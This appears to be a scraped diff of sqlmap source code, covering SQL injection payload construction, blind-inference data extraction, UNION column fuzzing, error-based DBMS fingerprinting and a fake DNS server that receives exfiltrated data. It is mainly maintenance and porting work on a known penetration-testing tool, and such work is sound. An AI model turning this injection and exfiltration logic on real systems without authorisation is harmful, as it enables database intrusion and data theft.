||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|||||||
+16
-6
@@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler):
|
|||||||
|
|
||||||
self._dbms = None
|
self._dbms = None
|
||||||
self._page = (page or "")
|
self._page = (page or "")
|
||||||
self._lower_page = self._page.lower()
|
try:
|
||||||
|
self._lower_page = self._page.lower()
|
||||||
|
except SystemError: # https://bugs.python.org/issue18183
|
||||||
|
self._lower_page = None
|
||||||
self._urldecoded_page = urldecode(self._page)
|
self._urldecoded_page = urldecode(self._page)
|
||||||
|
|
||||||
self.dbms = None
|
self.dbms = None
|
||||||
@@ -49,20 +52,31 @@ class HTMLHandler(ContentHandler):
|
|||||||
keywords = sorted(keywords, key=len)
|
keywords = sorted(keywords, key=len)
|
||||||
kb.cache.regex[regexp] = keywords[-1].lower()
|
kb.cache.regex[regexp] = keywords[-1].lower()
|
||||||
|
|
||||||
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
|
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
|
||||||
self.dbms = self._dbms
|
self.dbms = self._dbms
|
||||||
self._markAsErrorPage()
|
self._markAsErrorPage()
|
||||||
|
kb.forkNote = kb.forkNote or attrs.get("fork")
|
||||||
|
|
||||||
def htmlParser(page):
|
def htmlParser(page):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTML page to
|
This function calls a class that parses the input HTML page to
|
||||||
fingerprint the back-end database management system
|
fingerprint the back-end database management system
|
||||||
|
|
||||||
|
>>> from lib.core.enums import DBMS
|
||||||
|
>>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
|
||||||
|
True
|
||||||
|
>>> threadData = getCurrentThreadData()
|
||||||
|
>>> threadData.lastErrorPage = None
|
||||||
"""
|
"""
|
||||||
|
|
||||||
xmlfile = paths.ERRORS_XML
|
xmlfile = paths.ERRORS_XML
|
||||||
handler = HTMLHandler(page)
|
handler = HTMLHandler(page)
|
||||||
key = hash(page)
|
key = hash(page)
|
||||||
|
|
||||||
|
# generic SQL warning/error messages
|
||||||
|
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
||||||
|
handler._markAsErrorPage()
|
||||||
|
|
||||||
if key in kb.cache.parsedDbms:
|
if key in kb.cache.parsedDbms:
|
||||||
retVal = kb.cache.parsedDbms[key]
|
retVal = kb.cache.parsedDbms[key]
|
||||||
if retVal:
|
if retVal:
|
||||||
@@ -79,8 +93,4 @@ def htmlParser(page):
|
|||||||
|
|
||||||
kb.cache.parsedDbms[key] = handler.dbms
|
kb.cache.parsedDbms[key] = handler.dbms
|
||||||
|
|
||||||
# generic SQL warning/error messages
|
|
||||||
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
|
||||||
handler._markAsErrorPage()
|
|
||||||
|
|
||||||
return handler.dbms
|
return handler.dbms
|
||||||
|
|||||||
+24
-6
@@ -41,10 +41,10 @@ def cleanupVals(text, tag):
|
|||||||
return text
|
return text
|
||||||
|
|
||||||
def parseXmlNode(node):
|
def parseXmlNode(node):
|
||||||
for element in node.getiterator("boundary"):
|
for element in node.findall("boundary"):
|
||||||
boundary = AttribDict()
|
boundary = AttribDict()
|
||||||
|
|
||||||
for child in element.getchildren():
|
for child in element:
|
||||||
if child.text:
|
if child.text:
|
||||||
values = cleanupVals(child.text, child.tag)
|
values = cleanupVals(child.text, child.tag)
|
||||||
boundary[child.tag] = values
|
boundary[child.tag] = values
|
||||||
@@ -53,21 +53,21 @@ def parseXmlNode(node):
|
|||||||
|
|
||||||
conf.boundaries.append(boundary)
|
conf.boundaries.append(boundary)
|
||||||
|
|
||||||
for element in node.getiterator("test"):
|
for element in node.findall("test"):
|
||||||
test = AttribDict()
|
test = AttribDict()
|
||||||
|
|
||||||
for child in element.getchildren():
|
for child in element:
|
||||||
if child.text and child.text.strip():
|
if child.text and child.text.strip():
|
||||||
values = cleanupVals(child.text, child.tag)
|
values = cleanupVals(child.text, child.tag)
|
||||||
test[child.tag] = values
|
test[child.tag] = values
|
||||||
else:
|
else:
|
||||||
if len(child.getchildren()) == 0:
|
if len(child.findall("*")) == 0:
|
||||||
test[child.tag] = None
|
test[child.tag] = None
|
||||||
continue
|
continue
|
||||||
else:
|
else:
|
||||||
test[child.tag] = AttribDict()
|
test[child.tag] = AttribDict()
|
||||||
|
|
||||||
for gchild in child.getchildren():
|
for gchild in child:
|
||||||
if gchild.tag in test[child.tag]:
|
if gchild.tag in test[child.tag]:
|
||||||
prevtext = test[child.tag][gchild.tag]
|
prevtext = test[child.tag][gchild.tag]
|
||||||
test[child.tag][gchild.tag] = [prevtext, gchild.text]
|
test[child.tag][gchild.tag] = [prevtext, gchild.text]
|
||||||
@@ -77,6 +77,15 @@ def parseXmlNode(node):
|
|||||||
conf.tests.append(test)
|
conf.tests.append(test)
|
||||||
|
|
||||||
def loadBoundaries():
|
def loadBoundaries():
|
||||||
|
"""
|
||||||
|
Loads boundaries from XML
|
||||||
|
|
||||||
|
>>> conf.boundaries = []
|
||||||
|
>>> loadBoundaries()
|
||||||
|
>>> len(conf.boundaries) > 0
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
doc = et.parse(paths.BOUNDARIES_XML)
|
doc = et.parse(paths.BOUNDARIES_XML)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
@@ -89,6 +98,15 @@ def loadBoundaries():
|
|||||||
parseXmlNode(root)
|
parseXmlNode(root)
|
||||||
|
|
||||||
def loadPayloads():
|
def loadPayloads():
|
||||||
|
"""
|
||||||
|
Loads payloads/tests from XML
|
||||||
|
|
||||||
|
>>> conf.tests = []
|
||||||
|
>>> loadPayloads()
|
||||||
|
>>> len(conf.tests) > 0
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
for payloadFile in PAYLOAD_XML_FILES:
|
for payloadFile in PAYLOAD_XML_FILES:
|
||||||
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
||||||
|
|
||||||
|
|||||||
@@ -343,7 +343,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
|||||||
# e.g. %20%28%29
|
# e.g. %20%28%29
|
||||||
if percentDecode:
|
if percentDecode:
|
||||||
if b"%" in page:
|
if b"%" in page:
|
||||||
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
|
page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
|
||||||
|
page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE
|
||||||
|
|
||||||
# e.g. &
|
# e.g. &
|
||||||
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
|
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
|
||||||
|
|||||||
@@ -584,15 +584,14 @@ class Connect(object):
|
|||||||
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
||||||
|
|
||||||
if refresh:
|
if refresh:
|
||||||
debugMsg = "got Javascript redirect request"
|
debugMsg = "got Javascript redirect logic"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if refresh:
|
if refresh:
|
||||||
if kb.alwaysRefresh is None:
|
if kb.alwaysRefresh is None:
|
||||||
msg = "got a refresh request "
|
msg = "got a refresh intent "
|
||||||
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
||||||
msg += "Do you want to apply the refresh "
|
msg += "Do you want to apply it from now on? [Y/n]"
|
||||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
|
||||||
|
|
||||||
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
||||||
|
|
||||||
@@ -1222,7 +1221,7 @@ class Connect(object):
|
|||||||
|
|
||||||
for name, value in variables.items():
|
for name, value in variables.items():
|
||||||
if name != "__builtins__" and originals.get(name, "") != value:
|
if name != "__builtins__" and originals.get(name, "") != value:
|
||||||
if isinstance(value, (int, six.string_types)):
|
if isinstance(value, (int, float, six.string_types)):
|
||||||
found = False
|
found = False
|
||||||
value = getUnicode(value, UNICODE_ENCODING)
|
value = getUnicode(value, UNICODE_ENCODING)
|
||||||
|
|
||||||
|
|||||||
+56
-39
@@ -11,10 +11,58 @@ import binascii
|
|||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
|
import struct
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
|
|
||||||
class DNSQuery(object):
|
class DNSQuery(object):
|
||||||
|
"""
|
||||||
|
>>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
|
||||||
|
True
|
||||||
|
>>> DNSQuery(b'\\x00')._query == b""
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, raw):
|
||||||
|
self._raw = raw
|
||||||
|
self._query = b""
|
||||||
|
|
||||||
|
try:
|
||||||
|
type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits
|
||||||
|
|
||||||
|
if type_ == 0: # Standard query
|
||||||
|
i = 12
|
||||||
|
j = ord(raw[i:i + 1])
|
||||||
|
|
||||||
|
while j != 0:
|
||||||
|
self._query += raw[i + 1:i + j + 1] + b'.'
|
||||||
|
i = i + j + 1
|
||||||
|
j = ord(raw[i:i + 1])
|
||||||
|
except TypeError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def response(self, resolution):
|
||||||
|
"""
|
||||||
|
Crafts raw DNS resolution response packet
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = b""
|
||||||
|
|
||||||
|
if self._query:
|
||||||
|
retVal += self._raw[:2] # Transaction ID
|
||||||
|
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
||||||
|
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
||||||
|
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
||||||
|
retVal += b"\xc0\x0c" # Pointer to domain name
|
||||||
|
retVal += b"\x00\x01" # Type A
|
||||||
|
retVal += b"\x00\x01" # Class IN
|
||||||
|
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
|
||||||
|
retVal += b"\x00\x04" # Data length
|
||||||
|
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
class DNSServer(object):
|
||||||
"""
|
"""
|
||||||
Used for making fake DNS resolution responses based on received
|
Used for making fake DNS resolution responses based on received
|
||||||
raw request
|
raw request
|
||||||
@@ -24,43 +72,6 @@ class DNSQuery(object):
|
|||||||
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
|
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, raw):
|
|
||||||
self._raw = raw
|
|
||||||
self._query = ""
|
|
||||||
|
|
||||||
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
|
|
||||||
|
|
||||||
if type_ == 0: # Standard query
|
|
||||||
i = 12
|
|
||||||
j = ord(raw[i])
|
|
||||||
|
|
||||||
while j != 0:
|
|
||||||
self._query += raw[i + 1:i + j + 1] + '.'
|
|
||||||
i = i + j + 1
|
|
||||||
j = ord(raw[i])
|
|
||||||
|
|
||||||
def response(self, resolution):
|
|
||||||
"""
|
|
||||||
Crafts raw DNS resolution response packet
|
|
||||||
"""
|
|
||||||
|
|
||||||
retVal = ""
|
|
||||||
|
|
||||||
if self._query:
|
|
||||||
retVal += self._raw[:2] # Transaction ID
|
|
||||||
retVal += "\x85\x80" # Flags (Standard query response, No error)
|
|
||||||
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
|
|
||||||
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
|
|
||||||
retVal += "\xc0\x0c" # Pointer to domain name
|
|
||||||
retVal += "\x00\x01" # Type A
|
|
||||||
retVal += "\x00\x01" # Class IN
|
|
||||||
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
|
|
||||||
retVal += "\x00\x04" # Data length
|
|
||||||
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
class DNSServer(object):
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._check_localhost()
|
self._check_localhost()
|
||||||
self._requests = []
|
self._requests = []
|
||||||
@@ -95,11 +106,17 @@ class DNSServer(object):
|
|||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
|
if prefix and hasattr(prefix, "encode"):
|
||||||
|
prefix = prefix.encode()
|
||||||
|
|
||||||
|
if suffix and hasattr(suffix, "encode"):
|
||||||
|
suffix = suffix.encode()
|
||||||
|
|
||||||
with self._lock:
|
with self._lock:
|
||||||
for _ in self._requests:
|
for _ in self._requests:
|
||||||
if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
|
if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I):
|
||||||
retVal = _
|
|
||||||
self._requests.remove(_)
|
self._requests.remove(_)
|
||||||
|
retVal = _.decode()
|
||||||
break
|
break
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|||||||
+13
-5
@@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
|||||||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
||||||
|
|
||||||
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
||||||
expression = "SELECT %s FROM (%s)" % (field, expression)
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID):
|
||||||
|
alias = randomStr(lowercase=True, seed=hash(expression))
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
|
||||||
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
|
expression += " AS %s" % alias
|
||||||
|
else:
|
||||||
|
expression = "SELECT %s FROM (%s)" % (field, expression)
|
||||||
|
|
||||||
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
|
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
|
||||||
nulledCastedField = agent.nullAndCastField(field)
|
nulledCastedField = agent.nullAndCastField(field)
|
||||||
@@ -410,6 +412,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||||||
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
|
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
|
||||||
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
|
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
|
||||||
|
|
||||||
|
if expected == EXPECTED.BOOL:
|
||||||
|
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
|
||||||
|
|
||||||
|
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
|
||||||
|
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
|
||||||
|
|
||||||
try:
|
try:
|
||||||
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
|
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
|
||||||
except SqlmapConnectionException:
|
except SqlmapConnectionException:
|
||||||
@@ -494,7 +502,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||||||
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
||||||
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
||||||
warnMsg += "a switch '--no-cast' "
|
warnMsg += "a switch '--no-cast' "
|
||||||
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
|
warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
# Dirty patch (safe-encoded unicode characters)
|
# Dirty patch (safe-encoded unicode characters)
|
||||||
|
|||||||
@@ -569,13 +569,6 @@ class Metasploit(object):
|
|||||||
errMsg += "to open a remote session"
|
errMsg += "to open a remote session"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if conf.liveTest and timeout:
|
|
||||||
if initialized:
|
|
||||||
send_all(proc, "exit\n")
|
|
||||||
time.sleep(2)
|
|
||||||
else:
|
|
||||||
proc.kill()
|
|
||||||
|
|
||||||
except select.error as ex:
|
except select.error as ex:
|
||||||
# Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
|
# Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
|
||||||
if ex.args[0] == errno.EINTR:
|
if ex.args[0] == errno.EINTR:
|
||||||
|
|||||||
@@ -108,6 +108,24 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
|
|
||||||
return 0, retVal
|
return 0, retVal
|
||||||
|
|
||||||
|
if Backend.isDbms(DBMS.MCKOI):
|
||||||
|
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||||
|
if match:
|
||||||
|
original = queries[Backend.getIdentifiedDbms()].inference.query
|
||||||
|
right = original.split('<')[1]
|
||||||
|
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
|
||||||
|
expression = match.group(1).strip()
|
||||||
|
|
||||||
|
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||||
|
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||||
|
if match:
|
||||||
|
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||||
|
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
|
||||||
|
expression = match.group(2).strip()
|
||||||
|
|
||||||
|
|
||||||
|
#<inference query="(SELECT SUBSTRING((%s) FROM %d FOR 1) FROM %s)>'%c'"/>
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
||||||
if conf.predictOutput:
|
if conf.predictOutput:
|
||||||
@@ -119,9 +137,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
|
|
||||||
if partialValue:
|
if partialValue:
|
||||||
firstChar = len(partialValue)
|
firstChar = len(partialValue)
|
||||||
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
|
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
|
||||||
firstChar = 0
|
firstChar = 0
|
||||||
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
|
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
|
||||||
firstChar = int(conf.firstChar) - 1
|
firstChar = int(conf.firstChar) - 1
|
||||||
if kb.fileReadMode:
|
if kb.fileReadMode:
|
||||||
firstChar <<= 1
|
firstChar <<= 1
|
||||||
@@ -130,9 +148,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
else:
|
else:
|
||||||
firstChar = 0
|
firstChar = 0
|
||||||
|
|
||||||
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
|
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
|
||||||
lastChar = 0
|
lastChar = 0
|
||||||
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
|
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
|
||||||
lastChar = int(conf.lastChar)
|
lastChar = int(conf.lastChar)
|
||||||
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
|
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
|
||||||
lastChar = int(lastChar)
|
lastChar = int(lastChar)
|
||||||
@@ -195,7 +213,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
hintValue = kb.hintValue
|
hintValue = kb.hintValue
|
||||||
|
|
||||||
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
|
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
|
if "'%s'" % CHAR_INFERENCE_MARK in payload:
|
||||||
posValue = hintValue[idx - 1]
|
posValue = hintValue[idx - 1]
|
||||||
else:
|
else:
|
||||||
posValue = ord(hintValue[idx - 1])
|
posValue = ord(hintValue[idx - 1])
|
||||||
@@ -641,8 +659,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
|
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
|
||||||
dataToStdout(filterControlChars(val))
|
dataToStdout(filterControlChars(val))
|
||||||
|
|
||||||
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
||||||
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
||||||
break
|
break
|
||||||
elif charsetType and partialValue[-1:].isspace():
|
elif charsetType and partialValue[-1:].isspace():
|
||||||
|
|||||||
@@ -340,9 +340,9 @@ def errorUse(expression, dump=False):
|
|||||||
else:
|
else:
|
||||||
stopLimit = int(count)
|
stopLimit = int(count)
|
||||||
|
|
||||||
infoMsg = "used SQL query returns "
|
debugMsg = "used SQL query returns "
|
||||||
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
||||||
logger.info(infoMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
elif count and not count.isdigit():
|
elif count and not count.isdigit():
|
||||||
warnMsg = "it was not possible to count the number "
|
warnMsg = "it was not possible to count the number "
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import itertools
|
||||||
import logging
|
import logging
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
@@ -12,6 +13,7 @@ import re
|
|||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import average
|
from lib.core.common import average
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import getPublicTypeMembers
|
||||||
from lib.core.common import isNullValue
|
from lib.core.common import isNullValue
|
||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
@@ -29,9 +31,13 @@ from lib.core.compat import xrange
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
from lib.core.decorators import stackedmethod
|
from lib.core.decorators import stackedmethod
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
|
from lib.core.enums import FUZZ_UNION_COLUMN
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
|
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
|
||||||
|
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
|
||||||
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
||||||
from lib.core.settings import MAX_RATIO
|
from lib.core.settings import MAX_RATIO
|
||||||
from lib.core.settings import MIN_RATIO
|
from lib.core.settings import MIN_RATIO
|
||||||
@@ -171,6 +177,36 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def _fuzzUnionCols(place, parameter, prefix, suffix):
|
||||||
|
retVal = None
|
||||||
|
|
||||||
|
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
|
||||||
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||||
|
|
||||||
|
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
|
||||||
|
random.shuffle(choices)
|
||||||
|
|
||||||
|
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
|
||||||
|
if retVal:
|
||||||
|
break
|
||||||
|
elif FUZZ_UNION_COLUMN.STRING not in candidate:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
|
||||||
|
|
||||||
|
